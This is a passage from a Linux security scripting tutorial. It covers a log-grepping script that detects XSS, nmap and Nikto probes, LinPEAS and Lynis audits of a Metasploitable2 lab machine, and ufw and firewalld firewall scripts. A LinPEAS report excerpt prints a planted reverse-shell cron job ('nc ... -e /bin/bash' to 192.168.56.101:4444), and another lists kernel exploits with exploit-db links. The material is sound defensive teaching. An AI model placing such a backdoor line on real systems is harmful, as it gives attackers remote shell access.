grep 'GET /.%' $inputpath/httpd-access.log >> "$output_file"
grep 'GET /.=%' $inputpath/httpd-access.log >> "$output_file"
else
grep 'GET /%' $inputpath/access.log >> "$output_file"
grep 'GET /.%' $inputpath/access.log >> "$output_file"
grep 'GET /.=%' $inputpath/access.log >> "$output_file"
fi

The main difference here is that we’re now looking through the current, active access log file. I had to create the if..then stanza for FreeBSD machines because FreeBSD names its Apache access logs httpd-access.log. Linux distros just use access.log as the filename.

This next chunk searches for nmap scripting scans:

echo "***************************************" >> "$output_file"
echo "${RED}Nmap Scripting Scans${BLACK}" >> "$output_file"
find "$inputpath" -iname '*.gz' -exec zcat {} \; | grep -i 'nmap' >> "$output_file"
if [ "$os" = FreeBSD ]; then
grep -i 'nmap' $inputpath/httpd-access.log >> "$output_file"
else
grep -i 'nmap' $inputpath/access.log >> "$output_file"
fi

The first echo line outputs a string of asterisks to act as a separator. The rest of the stanza is the same as before, except that we’re now using grep -i 'nmap' to perform a case-insensitive search for all instances of either the nmap or the Nmap text string.

Now, let’s look at the final chunk:

echo "***************************************" >> "$output_file"
echo "${RED}Nikto Scanner Attacks${BLACK}" >> "$output_file"
find "$inputpath" -iname '*.gz' -exec zcat {} \; | grep -i 'nikto' >> "$output_file"
if [ "$os" = FreeBSD ]; then
grep -i 'nikto' $inputpath/httpd-access.log >> "$output_file"
else
grep -i 'nikto' $inputpath/access.log >> "$output_file"
fi
exit

The only difference here is that we’re now looking for every instance of either the nikto or Nikto text strings.

Of course, you’ll want to see for yourself if this actually works. The good news is that you’ve already performed all of these attacks against your Metasploitable2 virtual machine. So, you already have all of the log entries you need to evaluate this script. Use either scp1 or ftp to transfer the script to the Metasploitable2 machine. For now, I’ll just use scp1:

┌──(kali㉿kali)-[~]
└─$ scp1 xss_detect.sh [email protected]:

To run the script, you’ll need to go to the local console of your Metasploitable2 machine. That’s because, for some reason, the tput utility that I used to set the color-coded text doesn’t work over the old SSH protocol that the Metasploitable2 machine uses. Run the scan, like this:

msfadmin@metasploitable:~$ ./xss_detect.sh /var/log/apache2 xss_results_metasploitable.txt

Note that some Linux and Unix distros require you to use sudo privileges to access Apache access logs, and some don’t. You can try running the script without sudo first, and if it works, great. If it doesn’t work, try it again with sudo, and you should be good.

You can’t use Metasploitable2’s scp to transfer the output file back to the Kali machine, due to Metasploitable2 using the old-style encryption keys. And, Kali doesn’t include a version of sftp that can connect to Metasploitable2’s old keys. So, just use FTP on Kali to log into the Metasploitable2 machine, and then use the get command to download the output file, like so:

┌──(kali㉿kali)-[~]
└─$ ftp [email protected]
Connected to 192.168.56.102.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get xss_results_metasploitable.txt
local: xss_results_metasploitable.txt remote: xss_results_metasploitable.txt
229 Entering Extended Passive Mode (|||15947|).
150 Opening BINARY mode data connection for xss_results_metasploitable.txt (1170599 bytes).
100% |********************************************************************************************| 1143 KiB 53.59 MiB/s 00:00 ETA
226 Transfer complete.
1170599 bytes received in 00:00 (51.70 MiB/s)
ftp> bye
221 Goodbye.
┌──(kali㉿kali)-[~]
└─$

On the Kali machine, use batcat to view the file:

┌──(kali㉿kali)-[~]
└─$ batcat xss_results_metasploitable.txt

Here’s a portion of what you should see:

Figure 10.1 – Scan output from my Metasploitable2 machine

Figure 10.1 – Scan output from my Metasploitable2 machine

Okay, in this case, you see that some of the nmap attacks also show up as cross-site scripting attacks. However, in real life, you might also see cross-site scripting attacks that aren’t the result of nmap scans, as you see here in the scan of my FreeBSD 15 machine:

Figure 10.2 – Cross-site scripting attacks on my FreeBSD machine

Figure 10.2 – Cross-site scripting attacks on my FreeBSD machine

Scrolling down a bit, we’ll see the nmap and Nikto scans:

Figure 10.3 – The nmap and Nikto scans on the FreeBSD machine

Figure 10.3 – The nmap and Nikto scans on the FreeBSD machine

To prevent these sorts of attacks, you might consider installing a web application firewall (WAF) on your webservers. The most popular FOSS type of WAF is ModSecurity, which you can learn about here:

https://owasp.org/www-project-modsecurity/

Next, let’s look at a pair of ready-made shell scripts that can help us audit and harden our systems against malicious attacks.

Auditing and hardening with LinPEAS and Lynis

Section titled “Auditing and hardening with LinPEAS and Lynis”

Sometimes, you’ll need to perform a thorough audit of your systems to see where they need to be hardened. You could write a complex shell script to do that, or you could just use one that’s already available. This is where Lynis and LinPEAS come in.

The LinPEAS developers describe LinPEAS, the Linux Privilege Escalation Awesome Script, as “a shell script designed to search for possible privilege escalation paths on Linux/Unix/MacOS hosts.” You can use it in one of two ways:

  • During a penetration test, you can use it on an unprivileged account that you’ve compromised. By running LinPEAS without sudo privileges, you can search for any poorly-configured services or permissions that could allow you to escalate to root privileges.
  • If you’re an administrator who already has full administrative privileges, you can run LinPEAS with sudo. This will show you more information, because you’ll be able to access files and directories that you normally can’t access without sudo.

The LinPEAS scripts are in the /usr/share/peass/linpeas/ directory of your Kali machine. The scripts are:

  • linpeas_fat.sh: This script provides the most comprehensive audit, but it will run slower. It performs all checks, and has a lot of embedded third-party scripts that supposedly perform a wider range of checks. I say supposedly, because one of those third-party scripts is buggy, which causes the linpeas_fat.sh script to hang before it can complete the scan. The author kind of fixed this in the new version that’s in his GitHub repository, which is at https://github.com/peass-ng/PEASS-ng. But, his fix only causes the script to abort gracefully without finishing the scan. So, your best bet is to just not use this script, and instead use the linpeas.sh script.
  • linpeas.sh: This script also performs all checks. But, the only embedded third-party application that it runs is the Exploit Suggester that we used with Metasploit in Chapter 8*, Automate Penetration Testing with Metasploit*. Unlike the linpeas_fat.sh script, you can depend upon this script to run successfully.
  • linpeas_small.sh: This script only performs a few preliminary checks, and is faster and stealthier than the other two scripts. You might not use this one very often, because it really doesn’t do that much.

These scripts are so large and complex that I can’t possibly explain them to you. So, I’ll let you open them in less and peruse them yourself. The good thing about shell scripting is that, unlike the cryptic code files for languages such as C or C++, you can read through them and at least get the gist of what the scripts are doing.

Also, note that the shebang line in these scripts is:

#!/bin/sh

So, they are portable and can run on FreeBSD, OpenIndiana, and macOS, as well as on Linux.

Now, let’s boot up the Metasploitable2 virtual machine and see what LinPEAS can find on it. Here are the steps:

  1. Use either scp1 or ftp to copy a script to the msfadmin account of the Metasploitable2 machine. For now, let’s use scp1 to copy over the linpeas.sh script:
    ┌──(kali㉿kali)-[/usr/share/peass/linpeas]
    └─$ scp1 linpeas.sh [email protected]:
  2. Log into the Metasploitable2 machine and perform the scan. Note that you’re saving the output to the linpeas_metasploitable_report.txt file.
    msfadmin@metasploitable:~$ sudo ./linpeas.sh | tee linpeas_metasploitable_report.txt
  3. When the scan completes, use ftp on the Kali machine to log into the msfadmin account of the Metasploitable2 machine. Then, use the get command to download the linpeas_metasploitable_report.txt file to your Kali machine. (You’ll need to use ftp because there’s no sftp1 utility on the Kali machine that can deal with the old SSH keys on Metasploitable2, and the scp utility on Metasploitable2 can’t connect to the SSH server on Kali, again due to the old keys.)
    ┌──(kali㉿kali)-[~]
    └─$ ftp [email protected]
    Connected to 192.168.56.102.
    220 (vsFTPd 2.3.4)
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> get linpeas_metasploitable_report.txt

Do yourself a favor by setting the Kali terminal window to a dark background. That’s because the LinPEAS report will contain some colors that don’t show well on a light-colored background. Or, if you don’t want to change your default terminal settings, install a second terminal that’s already set to a dark background. A good candidate for that is the konsole terminal, which you can install by doing:

sudo apt install konsole
  1. Open the report file with batcat, and peruse its contents.
    ┌──(kali㉿kali)-[~]
    └─$ batcat linpeas_metasploitable_report.txt

This is a huge file, consisting of over 5,000 lines, because I performed a full scan with all checks. So, I can’t possibly explain all of the scan output. But, we can look at a few highlights.

Towards the top of the report, you’ll see the color code legend:

Figure 10.4 – The color code legend in a LinPEAS report

Figure 10.4 – The color code legend in a LinPEAS report

The RED/YELLOW code, meaning red text surrounded by a yellow background, is especially important. Anything in the report that’s marked with this color code represents something that’s 95% sure to allow a privilege escalation. Anything that’s marked with the RED code, meaning just red text with the normal terminal background, is something that could—but not necessarily—be a problem.

Scroll down a bit, and you’ll see that the script invoked Exploit Suggester, which found some potential exploits:

╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[5] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
. . .
. . .

As I said, there’s just too much in this file for me to explain here. So, scroll through it, and look at the problems that LinPEAS has found. (Spoiler alert: It did find and mark some of the privilege escalation problems that we found in Chapter 7*, Understanding Privilege Escalation and Persistence*.)

Now, let’s look at the Lynis auditing shell script.

Lynis is a security auditing shell script that can run on pretty much any Unix, Unix-like, or Linux operating system. This includes Solaris, OpenIndiana, the BSD distros, and macOS. The free-of-charge version can only audit the machine on which it’s installed, and the Enterprise version can be run from either a cloud server or a self-hosted server. In addition to performing the normal configuration and software checks that the free-of-charge version can do, the Enterprise version can also check for regulatory compliance issues. These compliance checks include Payment Card Industry Data Security Standard (PCI-DSS) standards for e-commerce or financial services companies, Health Insurance Portability and Accountability Act (HIPAA) standards for U.S.-based businesses that deal with people’s medical information, as well as other regulatory bodies.

You can see more information about the differences between the free-of-charge and Enterprise versions of Lynis here:

https://cisofy.com/compare/lynis-and-lynis-enterprise/

Now that you know what Lynis is, let’s try it out on the Metasploitable2 machine.

  1. First, download the free-of-charge version of Lynis from here:
    https://cisofy.com/downloads/lynis/
  2. Use either scp1 or ftp to transfer the file to the msfadmin account of the Metasploitable2 machine, as you’ve already seen how to do in step 1 of the Auditing with LinPEAS procedure.
  3. On the Metasploitable2 machine, extract the Lynis script from the tarball, like so:
    msfadmin@metasploitable:~$ tar xzvf lynis-3.1.6.tar.gz
  4. Enter the lynis/ directory and run the script with the audit system option. Save the output to a file that you’ll create in the top-level of the user’s home directory.
    msfadmin@metasploitable:~$ cd lynis
    msfadmin@metasploitable:~/lynis$ sudo ./lynis audit system | tee ~/lynis_report.txt
  5. You’ll see a security alert because the lynis script isn’t set with root user ownership. That’s okay though. Just hit the Enter key and continue. Also, even though lynis automatically creates an output file in the /var/log/ directory, you’ll want to also create your own output file as I’m doing here with tee. That’s because the handy color coding doesn’t get preserved in the normal output file, which makes the file harder to read. If you save the output to your own file, you’ll still have the color coding.
  6. Transfer the lynis_report.txt file back to the Kali machine, and use batcat to view it, as you did for the LinPEAS output file.

The Lynis output file that I created is only 853 lines long, which is much smaller than the LinPEAS output file. Still, it’s more than I can completely cover here, so we’ll just look at some highlights. Here’s the first one:

Figure 10.5 – A snippet of the Lynis scan output

Figure 10.5 – A snippet of the Lynis scan output

For every check that’s labeled with WARNING or SUGGESTION, you’ll find the specific warnings or suggestions at the end of the file.

In this next snippet, Lynis shows you how to harden security for the Linux kernel:

Figure 10.6 – Lynis suggestions for kernel hardening

Figure 10.6 – Lynis suggestions for kernel hardening

The expected values for each item are in parentheses. The second column, which is the status column, shows whether each item is configured with the expected value.

On modern Linux systems that run systemd, you’ll find the files with the default kernel settings in the /usr/lib/sysctl.d/ directory. To change any settings, create or edit the /etc/sysctl.conf file, or add a file to the /etc/sysctl.d/ directory. To see the entire list of the active kernel settings, do:

sudo systemd-analyze cat-config sysctl.d

Toward the bottom of the file, you’ll see a list of warnings:

Figure 10.7 – The first three warnings in the list

Figure 10.7 – The first three warnings in the list

Below the warnings, you’ll see a list of actionable suggestions for hardening system security:

Suggestions (56):
----------------------------
* Set a password on GRUB boot loader to prevent altering boot configuration (e.g. boot in single user mode without password) [BOOT-5122]
- Related resources
* Website: https://cisofy.com/lynis/controls/BOOT-5122/
* If not required, consider explicit disabling of core dump in /etc/security/limits.conf file [KRNL-5820]
- Related resources
* Article: Understand and configure core dumps on Linux: https://linux-audit.com/software/understand-and-configure-core-dumps-work-on-linux/
* Website: https://cisofy.com/lynis/controls/KRNL-5820/
. . .
. . .

So now, the big question is, should you use LinPEAS or should you use Lynis? Let’s see if we can answer that question.

I can’t really say that either of these shell scripts is better than the other. What I’ll say instead is that they’re very different from each other, and that they complement each other. Each one shows certain information that the other doesn’t show. For example, the LinPEAS report for the Metasploitable2 machine shows that a malicious cron job has been planted:

╔══════════╣ Check for vulnerable cron jobs
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs
══╣ Cron jobs list
/usr/bin/crontab
10 * * * * /bin/nc 192.168.56.101 4444 -e /bin/bash

This didn’t show up in the Lynis report. LinPEAS also found the problematic Network Filesystem (NFS) configuration that Lynis didn’t find:

╔══════════╣ Analyzing NFS Exports Files (limit 70)
Connected NFS Mounts:
rpc_pipefs /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
nfsd /proc/fs/nfsd nfsd rw,relatime 0 0
-rw-r--r-- 1 root root 367 2012-05-13 21:58 /etc/exports
/ *(rw,sync,no_root_squash,no_subtree_check)

This shows that the entire root (/) filesystem of the Metasploitable2 machine is exported via NFS, and that the no_root_squash option is enabled. This means that anyone who can mount this filesystem from a remote machine can run programs that have either the SUID or SGID permission set. (I showed you this in Chapter 7*, Understanding Privilege Escalation and Persistence*.)

But, Lynis also has its advantages. I mean, LinPEAS reports show raw data, with just a bit of color coding to suggest which items might be problematic. For the most part, you need to interpret data in the LinPEAS reports to determine for yourself what you need to fix. Lynis, on the other hand, shows you more than just raw data. It also shows you actionable, plain-English suggestions to help you configure your systems for best security. And, if you decide to purchase a subscription for the Enterprise version of Lynis, you’ll also see important information about regulatory compliance issues.

So, should you use LinPEAS or Lynis? Well, the real answer is that you should use both.

Next, let’s talk about firewall scripts.

A firewall is an important component of proper server security. It can control the types of network traffic that reach your servers, and can also block traffic from certain sources. A firewall can also control the traffic that goes out of your servers, although that feature isn’t used quite as often. Before we begin creating firewall scripts, let’s look at some basic facts about Linux firewalls.

Linux uses netfilter, which is built into the Linux kernel, as its firewall. In order to configure netfilter, we need a command-line interface. The two command-line interfaces that are still in use are:

  • iptables: This interface was introduced with Linux kernel 2.4 back in 2001. Until recently, it has been a core component of every Linux distro. There are two problems with iptables. First, the commands to configure it can be rather cryptic. Secondly, if you need to run both IPv4 and IPv6 networking on your servers, you need to run two different iptables daemons. The normal iptables daemon is for IPv4, and the ip6tables daemon is for IPv6. Likewise, there’s the iptables utility for configuring IPv4 firewall rules, and the ip6tables utility for configuring IPv6 firewall rules. So, any time that you need to configure firewall rules on a server that runs both IPv4 and IPv6, you actually have to configure them twice. Fortunately, we now have something better, as you’ll see in a moment. But, you might occasionally still see Linux servers that are old enough to still be running iptables.
  • nftables: This is the modern replacement for iptables, which was introduced with Linux kernel 3.13 back in 2014. It’s easier to configure than iptables, because the commands are somewhat less cryptic. Also, firewall rules that you create with nftables apply to both IPv4 and IPv6, unless you specify otherwise. Modern Linux distros now come with nftables instead of iptables.

When I first began working with Linux in 2006, only the Red Hat-type distros came with a pre-configured firewall. For everything else, you had to create an iptables configuration from scratch, which could be quite error-prone. Fortunately, we now have two competing command-line front-ends for both iptables and nftables that make firewall configuration much easier. These front-ends are:

  • Uncomplicated Firewall (ufw): This utility was created by the Ubuntu team and was introduced with Ubuntu 8.04. It now comes pre-installed on both server and desktop implementations of Ubuntu by default, as well as on Debian. Its hallmark is its simplicity, because its commands are much less cryptic than the commands for either iptables or nftables. But, this simplicity also limits the types of configurations that you can do with ufw commands. For anything more than just basic configuration commands, you’ll need to hand-edit the rules in the ufw configuration files, using old-fashioned iptables commands. (I’ll explain that in just a bit.) At first, ufw was a front-end for iptables. Now, it’s a front-end for nftables.
  • firewalld: This utility was created by Red Hat engineers in early 2011. Like ufw, it was originally a front-end for iptables and is now a front-end for nftables. Its commands aren’t as simple as the ufw commands, but it does have a lot more flexibility. You can do some rather complex configurations with firewalld commands that you can’t do with ufw commands. It comes pre-installed on Red Hat-type Linux distros, as well as on the SUSE distros. It’s available for installation on other distros, including Ubuntu. (So, if you don’t like ufw on Ubuntu, just replace it with firewalld.) Any basic rules that you create with firewalld will apply to both IPv4 and IPv6. More complex rules, which are known as rich rules, still require you to configure IPv4 and IPv6 rules separately. (I’ll talk more about rich rules in just a bit.)

What firewalld and ufw both have in common is that they have both done all of the initial setup work for you. So, once you have them installed, it’s just a matter of adding the additional network filtering rules for your own circumstances. Also, both of these utilities take your commands and convert them into either iptables rules or nftables rules, as appropriate.

Here’s a fun fact about Ubuntu. Even though Ubuntu now uses nftables, you can still use the old-fashioned iptables rules to configure it. In fact, if you look in the /etc/ufw/ directory on an Ubuntu machine, you’ll see that the configuration files are set up with iptables rules. This is possible because on the newer versions of Ubuntu, the iptables command is actually a symbolic link that points to a translation utility. This translation utility takes your iptables rules and automatically converts them to nftables rules. It’s a pretty slick idea, if you ask me.

With all that out of the way, let’s see if we can create some useful firewall shell scripts.

Shell scripting with Uncomplicated Firewall

Section titled “Shell scripting with Uncomplicated Firewall”

To make these demos work, your target Ubuntu Server virtual machine needs to be set up with its network adapter in Bridged mode. One reason is that you’ll need Internet access to install the Apache web server. (You’ll see another reason in a few moments.) You’ll also need either another virtual machine with its network adapter in Bridged mode, or another physical machine that is on the same network.

Now, let’s say that you’re a busy systems administrator, remotely administering your servers from the comfort of your own cubicle. Simulate that by remotely logging into the target Ubuntu virtual machine from your host machine. (If your host machine is running Windows, you can use the SSH component of either the command.exe shell or PowerShell.) Here, I’m logging in from the OpenMandriva workstation that I’m using to write this:

[donnie@openmandriva-x8664 ~]$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu Resolute Raccoon (development branch) (GNU/Linux 6.17.0-8-generic x86_64)
. . .
. . .
Last login: Fri Dec 19 20:02:00 2025 from 192.168.0.201
donnie@ubuntu2604:~$

When you first set up an Ubuntu machine, either server or desktop, the ufw system is already installed, but it’s not active, as you see here:

donnie@ubuntu2604:~$ sudo ufw status
[sudo: authenticate] Password:
Status: inactive
donnie@ubuntu2604:~$

By default, ufw blocks everything, because its default policy is set to deny. So, if you’re remotely logged into a server, you’ll want to open port 22, the SSH port, before you enable ufw. This will ensure that you don’t lose your remote connection. Here’s how that looks:

donnie@ubuntu2604:~$ sudo ufw allow log ssh
Rules updated
Rules updated (v6)
donnie@ubuntu2604:~$

This command opens port 22/tcp, which is the default SSH port, for both IPv4 and IPv6. The log part is optional; it just means that you’ve enabled logging of all SSH traffic. Verify that the rule was properly added, like this:

donnie@ubuntu2604:~$ sudo ufw show added
Added user rules (see 'ufw status' for running firewall):
ufw allow log 22/tcp
donnie@ubuntu2604:~$

Cool. Now that you know that you won’t sever your SSH connection, enable ufw:

donnie@ubuntu2604:~$ sudo ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup
donnie@ubuntu2604:~$ sudo ufw status
Status: active
To Action From
-- ------ ----
22/tcp ALLOW Anywhere (log)
22/tcp (v6) ALLOW Anywhere (v6) (log)
donnie@ubuntu2604:~$

Note that when you’re logged in remotely, you’ll be asked if you want to continue, because your SSH connection might be disrupted. Keep this in mind, because it will affect how you write your shell scripts.

Creating a shell script for SSH and Apache access

Section titled “Creating a shell script for SSH and Apache access”

This is all very cool, because as you see, these ufw commands are much easier than either iptables commands or nftables commands. But we still haven’t created a shell script, so let’s do that now.

  1. First, disable ufw and delete the rule that you just created so that we can start over from scratch in order to simulate a real-life scenario:
    donnie@ubuntu2604:~$ sudo ufw disable
    Firewall stopped and disabled on system startup
    donnie@ubuntu2604:~$ sudo ufw delete allow log ssh
    Rules updated
    Rules updated (v6)
    donnie@ubuntu2604:~$
  2. We’re going to pretend that the target machine is a web server. So, install the Apache web server, like so:
    donnie@ubuntu2604:~$ sudo apt install apache2
  3. Enable the SSL module, so that you can test your connections to port 443, like this:
    donnie@ubuntu2604:~$ sudo a2enmod ssl
    donnie@ubuntu2604:~$ sudo systemctl restart apache2
  4. Create the ufw-1.sh script. Replace the IP address in the first ufw allow line with the IP address of your host workstation. Other than that, the script should look like this:
    #!/bin/bash
    ufw allow log from 192.168.0.201 to any port 22 proto tcp
    ufw allow "Apache Full"
    ufw --force enable
    ufw reload
    ufw status verbose

Here’s the breakdown:

  • For administrative purposes, we need to allow remote SSH access to this server, which is what we’re doing with the first ufw allow line. But we only want to allow access from the workstation of one certain administrator. This administrator’s workstation is set up with 192.168.0.201 as its static IP address. The to any part means that this access will be allowed to all IP addresses that have been assigned to this server. (You can also restrict access to just one of the server’s IP addresses by replacing any with the desired IP address.) The port 22 proto tcp part means that we’re allowing access to the SSH service, which by default runs on port 22/tcp.
  • In the ufw allow "Apache Full" line, we’re using a ufw app profile to define the service for which we want to allow access. Whenever you install a new network service on a machine that uses ufw, a new ufw app profile will get installed for that service. Here’s how to view the profiles that have been installed:
    donnie@ubuntu2604:~$ sudo ufw app list
    Available applications:
    Apache
    Apache Full
    Apache Secure
    OpenSSH
    donnie@ubuntu2604:~$
  1. Now, let’s see what the Apache Full profile does for us:
    donnie@ubuntu2604:~$ sudo ufw app info "Apache Full"
    Profile: Apache Full
    Title: Web Server (HTTP,HTTPS)
    Description: Apache v2 is the next generation of the omnipresent Apache web
    server.
    Ports:
    80,443/tcp
    donnie@ubuntu2604:~$
  2. You see that this profile opens ports 80/tcp and 443/tcp:
    • The ufw --force enable line enables ufw. The --force option prevents ufw from stopping to ask if you’re sure that you want to do this.
      • The ufw reload line reloads the ufw ruleset.
      • Finally, the ufw status verbose line shows you verification that the script did work correctly.
  3. Make the script executable, and run it like this:
    donnie@ubuntu2604:~$ sudo ./ufw-1.sh
    Rules updated
    Rules updated
    Rules updated (v6)
    Firewall is active and enabled on system startup
    Firewall reloaded
    Status: active
    Logging: on (low)
    Default: deny (incoming), allow (outgoing), disabled (routed)
    New profiles: skip
    To Action From
    -- ------ ----
    22/tcp ALLOW IN 192.168.0.201 (log)
    80,443/tcp (Apache Full) ALLOW IN Anywhere
    80,443/tcp (Apache Full (v6)) ALLOW IN Anywhere (v6)
    donnie@ubuntu2604:~$
  4. Open another terminal window on your host workstation, and attempt to log in. You should be allowed access. Then, try to log in from either another virtual machine or a physical machine that is connected to the same Bridged network. You should be denied access.

The other reason for using a Bridged network is that if you were to use either a NAT or a Host-Only network, the target server would see all incoming connections as coming from the IP address of your host workstation. This would mean that all connections from your other NAT or Host-Only virtual machines would be allowed, which would defeat the purpose of this demo.

Also, note that you can allow access from an entire network by using a network address in place of the host IP address. In that case, the first ufw allow line would look something like this:

ufw allow log from 192.168.0.0/24 to any port 22 proto tcp
  1. Open a web browser on any machine on your network and attempt to access both the secure and non-secure ports of the web server. The URLs that you’ll use should look something like this:
    http://192.168.0.6
    https://192.168.0.6
  2. You should be allowed access to both ports. (Although you’ll get an error message about Ubuntu’s default security certificate when trying to access the https port, don’t let that worry you. If you get that error message, it still means that the firewall rule is working correctly.)

That does it for the initial setup. The beauty of this is that if you need to deploy a whole fleet of Apache web servers, you can just copy this script to each one and run it. Or, better yet, use a management tool such as Ansible to run the script on all the servers in your fleet at once.

Now, let’s say that some bad actors are attacking your web servers and you want to block them.

Creating a shell script for controlling web server access

Section titled “Creating a shell script for controlling web server access”

In this scenario, let’s pretend that you’ve looked through your Apache access logs and have identified a list of IP addresses from which malicious attacks have originated. Your mission is to create a shell script that will create the necessary blocking rules for ufw. For this demo, you’ll use the same Ubuntu virtual machine that you used for the previous demo, with the same ufw setup.

  1. First, compile a list of IP addresses that you want to block and store them in the bad_ipaddresses.txt file. It should look something like this, except with your own addresses:
    192.168.0.16
    192.168.0.18
    192.168.0.25
    192.168.1.0/24
  2. You see that I’m blocking three individual IP addresses, as well as the entire 192.168.1.0/24 network. That’s because our servers are located in West Kneebonia, and they keep getting attacked by malicious hackers from East Kneebonia. The East Kneebonians are all on the 192.168.1.0/24 network, so our best bet is just to block them all. (I’m using fictitious country names so that I won’t offend anyone.)
  3. Create the ufw-2.sh script, and make it look like this:
    #!/bin/bash
    xargs -i ufw prepend deny from {} to any port 80,443 proto tcp < bad_ipaddresses.txt
    ufw reload

Here’s the breakdown:

  • In this script, I’m using the xargs -i command and the stdin (<) redirector to read the list of IP addresses from the bad_ipaddresses.txt file. Each individual item—one at a time—from the text file will be placed within the set of curly braces ({}) in the ufw command.
  • Note that I can list both port 80 and port 443 in the same command.
  • I need to place these rules at the beginning of the list, ahead of the rule that opens the Apache web server ports. Otherwise, all traffic from all sources will be allowed through, because the blocking rules won’t even be seen by the incoming traffic. For that reason, I’m using the prepend directive to ensure that the rules get added to the top of the list.
  • Finally, we need to reload the ufw ruleset.
  1. Make the script executable and then run it. It should look like this:
    donnie@ubuntu2604:~$ sudo ./ufw-2.sh
    Rule inserted
    Rule inserted
    Rule inserted
    Rule inserted
    Firewall reloaded
    donnie@ubuntu2604:~$
  2. View the ufw status:
    donnie@ubuntu2604:~$ sudo ufw status verbose
    Logging: on (low)
    Default: deny (incoming), allow (outgoing), disabled (routed)
    New profiles: skip
    To Action From
    -- ------ ----
    80,443/tcp DENY IN 192.168.1.0/24
    80,443/tcp DENY IN 192.168.0.25
    80,443/tcp DENY IN 192.168.0.18
    80,443/tcp DENY IN 192.168.0.16
    22/tcp ALLOW IN 192.168.0.201 (log)
    80,443/tcp (Apache Full) ALLOW IN Anywhere
    80,443/tcp (Apache Full (v6)) ALLOW IN Anywhere (v6)
    donnie@ubuntu2604:~$
  3. Finally, try to access the website from the machines that you’re blocking, as well as from machines that you’re not blocking.

In these demos, you’ve seen three ways to create access rules. When you create simple rules, you can use the service name, an app profile, or the port number, like so:

ufw allow ssh
ufw allow OpenSSH
ufw allow 22/tcp

But, when you create extended syntax rules, as you would do when you need to control access to or from specific networks or IP addresses, you can only use port numbers, and you have to specify if you’re using either udp or tcp for the protocol, like this:

ufw allow log from 192.168.0.201 to any port 22 proto tcp

Note also that you have to include the port keyword to specify the port number, and the proto keyword to specify the protocol.

This does it for Ubuntu. Let’s now look at firewalld on an AlmaLinux 10 machine.

The firewalld system is a completely different beast from ufw. To begin with, whenever you install a SUSE or RHEL-type operating system, you’ll see that firewalld is installed and active, and that the SSH port is already open. You’ll use the firewall-cmd command to control firewalld, and you’ll use the --state option to view the firewalld status, as you see here on my AlmaLinux 10 machine:

donnie@localhost:~$ sudo firewall-cmd --state
running
donnie@localhost:~$

Now, let’s talk about the firewalld concepts that you’ll need to know.

Zones define the level of trust that you want to grant to a network interface. A firewalld zone defines quite a few aspects about what a network interface is allowed to do. For now, though, we’re just going to talk about the services, ports, and protocols that the zone will either allow or block. We’ll also talk some about firewalld targets. (I’ll explain more about firewalld targets in just a bit.)

For more information about firewalld zones, run:

man firewalld.zones

To see the list of available zones, just do:

donnie@localhost:~$ sudo firewall-cmd --get-zones
block dmz drop external home internal nm-shared public trusted work
donnie@localhost:~$

To see which zone is currently active, do this:

donnie@localhost:~$ sudo firewall-cmd --get-default-zone
public
donnie@localhost:~$

Now, to see what the public zone does for you, do this:

donnie@localhost:~$ sudo firewall-cmd --info-zone=public
public (default, active)
target: default
ingress-priority: 0
egress-priority: 0
icmp-block-inversion: no
interfaces: enp0s3
sources:
services: cockpit dhcpv6-client ssh
ports:
protocols:
forward: yes
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
donnie@localhost:~$

According to the firewalld.zones man page, the public zone is for when you’re in a public place and don’t trust the other computers around you. It only allows connections from three incoming services, which are:

  • cockpit: This is a web-based configuration system that’s installed on RHEL-type servers and SUSE 16 servers.
  • dhcpv6-client: This service allows computers on an IPv6 network to exchange messages with each other so that they can automatically configure their own IPv6 addresses.
  • ssh: And of course, this is for the SSH service.

Every other service is blocked by default, as defined by the target: default line. There are four zone targets, which are:

  • default: This blocks everything except for ICMP packets. So, a zone with the default target still allows you to ping the server to see if it’s reachable.
  • ACCEPT: This zone target allows all network connections to reach the server.
  • DROP: This zone target blocks everything, including ICMP packets, without informing the source that the connection was denied.
  • REJECT: This target blocks everything, including ICMP packets, and informs the source that the connection was denied.

The trusted zone is an example of a zone that’s set with the ACCEPT target, as you see here:

donnie@localhost:~$ sudo firewall-cmd --info-zone=trusted
trusted
target: ACCEPT
ingress-priority: 0
egress-priority: 0
icmp-block-inversion: no
interfaces:
sources:
services:
ports:
protocols:
forward: yes
masquerade: no
forward-ports:
source-ports:
icmp-blocks:
rich rules:
donnie@localhost:~$

No services or ports are listed in the trusted zone because everything is already allowed. You can also look at the block and drop zones in the same way to see how the REJECT and DROP targets are used.

Next, we’ll look at firewalld services.

A firewalld service defines which ports to open for each defined network service, and also what optional parameters to set for each service. For example, let’s look at the ssh service that’s allowed by the public zone:

donnie@localhost:~$ sudo firewall-cmd --info-service=ssh
ssh
ports: 22/tcp
protocols:
source-ports:
modules:
destination:
includes:
helpers:
donnie@localhost:~$

This service opens port 22/tcp, but sets no other parameters. Now, let’s look at the dhcpv6-client service that’s also allowed by the public zone:

donnie@localhost:~$ sudo firewall-cmd --info-service=dhcpv6-client
dhcpv6-client
ports: 546/udp
protocols:
source-ports:
modules:
destination: ipv6:fe80::/64
includes:
helpers:
donnie@localhost:~$

This service opens port 546/udp. The destination: ipv6:fe80::/64 line forwards IPv6 traffic to the local IPv6 network.

Now that we’ve covered the basic concepts, let’s create some shell scripts that we can deploy to our fleet of web servers.

Creating a shell script for web server access

Section titled “Creating a shell script for web server access”

